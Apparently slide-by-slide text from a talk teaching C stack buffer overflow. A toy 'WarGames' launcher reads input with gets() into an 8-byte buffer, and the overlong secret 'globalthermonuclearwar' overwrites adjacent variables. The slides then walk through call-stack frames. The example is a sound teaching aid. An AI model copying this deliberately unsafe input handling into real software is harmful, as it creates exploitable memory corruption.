  • 35. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 36. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 37. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Let's try executing the code and see what happens.
  • 38. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Let's try executing the code and see what happens.
  • 39. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Let's try executing the code and see what happens.
  • 40. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Operation complete Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Let's try executing the code and see what happens.
  • 41. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Operation complete $ Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Let's try executing the code and see what happens.
  • 42. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Operation complete $ Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Let's try executing the code and see what happens. Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting!
  • 43. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Operation complete $ Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Huh? Let's try executing the code and see what happens. Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting!
  • 44. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Operation complete $ Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Access granted Launching 1869443685 missiles Access denied Huh? Let's try executing the code and see what happens. Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting! ... but why did it also print Access denied?
  • 45. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ ./launch WarGames MissileLauncher v0.1 Secret: David Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $
  • 46. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ ./launch WarGames MissileLauncher v0.1 Secret: David Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ What we just saw was an example of stack buffer overflow, aka stack smashing.When overwriting the response buffer we also changed the memory location used by variable allowaccess and n_missiles
  • 47. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ ./launch WarGames MissileLauncher v0.1 Secret: David Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ C and C++ are languages that are mostly defined by its behavior.The standards says very little about how things should be implemented. Indeed, while it is common to hear discussions about call stack when talking about C and C++, it is worth noting that the standards does not mention the concept at all. What we just saw was an example of stack buffer overflow, aka stack smashing.When overwriting the response buffer we also changed the memory location used by variable allowaccess and n_missiles
  • 48. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ ./launch WarGames MissileLauncher v0.1 Secret: David Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ C and C++ are languages that are mostly defined by its behavior.The standards says very little about how things should be implemented. Indeed, while it is common to hear discussions about call stack when talking about C and C++, it is worth noting that the standards does not mention the concept at all. We can learn a lot about C and C++ by studying what happens when it executes. Here is a detailed explanation about what actually happened on my machine. Let's start from the beginning... What we just saw was an example of stack buffer overflow, aka stack smashing.When overwriting the response buffer we also changed the memory location used by variable allowaccess and n_missiles
  • 49. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 50. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program.
  • 51. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program.
  • 52. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us.
  • 53. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. high address low address
  • 54. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. high address low address The calling function has pushed the address of its next instruction to be executed on the stack, just before it made a jmp into main()
  • 55. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. return address, next intruction in _starthigh address low address The calling function has pushed the address of its next instruction to be executed on the stack, just before it made a jmp into main()
  • 56. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. return address, next intruction in _starthigh address low address The calling function has pushed the address of its next instruction to be executed on the stack, just before it made a jmp into main() The first thing that happens when entering main(), is that the current base pointer is pushed on to the stack.
  • 57. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. return address, next intruction in _starthigh address low address The calling function has pushed the address of its next instruction to be executed on the stack, just before it made a jmp into main() The first thing that happens when entering main(), is that the current base pointer is pushed on to the stack. Then the base pointer and stack pointer is changed so main() get's it's own activation frame.
  • 58. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } main() is the entry point for the program. At this point, a call stack has been set up for us. return address, next intruction in _start pointer to stack frame for _start high address low address The calling function has pushed the address of its next instruction to be executed on the stack, just before it made a jmp into main() The first thing that happens when entering main(), is that the current base pointer is pushed on to the stack. Then the base pointer and stack pointer is changed so main() get's it's own activation frame.
  • 59. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address
  • 60. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address
  • 61. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address
  • 62. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts()
  • 63. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts() pointer to string "WarGames..."
  • 64. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts() Then we push the return address, a memory address pointing to the next instruction in main() pointer to string "WarGames..."
  • 65. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts() Then we push the return address, a memory address pointing to the next instruction in main() pointer to string "WarGames..." return address, next intruction in main
  • 66. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts() Then we push the return address, a memory address pointing to the next instruction in main() pointer to string "WarGames..." return address, next intruction in main The puts() function will do whatever it needs to do, just making sure that the base pointer is restored before using the return address to jump back to the next instruction in main()
  • 67. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } The first statement in main() is to call puts() with a string. return address, next intruction in _start pointer to stack frame for _start high address low address A pointer to the string is pushed on the stack, this is the argument to puts() Then we push the return address, a memory address pointing to the next instruction in main() pointer to string "WarGames..." return address, next intruction in main The puts() function will do whatever it needs to do, just making sure that the base pointer is restored before using the return address to jump back to the next instruction in main() (whatever puts() needs to do)
  • 68. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address pointer to string "WarGames..." return address, next intruction in main
  • 69. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address pointer to string "WarGames..." return address, next intruction in main The stack is restored and the next statement will be executed.
  • 70. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address The stack is restored and the next statement will be executed.
  • 71. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address The stack is restored and the next statement will be executed.
  • 72. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Now we prepare for calling authenticate_and_launch() by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch() The stack is restored and the next statement will be executed.
  • 73. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Now we prepare for calling authenticate_and_launch() by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch() return address, next intruction in _main The stack is restored and the next statement will be executed.
  • 74. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Now we prepare for calling authenticate_and_launch() by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch() return address, next intruction in _main The stack is restored and the next statement will be executed.
  • 75. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main
  • 76. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Create a new stack frame, before allocating space for the local variables on the stack. return address, next intruction in _main
  • 77. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Create a new stack frame, before allocating space for the local variables on the stack. return address, next intruction in _main pointer to stack frame for _main
  • 78. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main Create a new stack frame, before allocating space for the local variables on the stack.
  • 79. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) Create a new stack frame, before allocating space for the local variables on the stack.
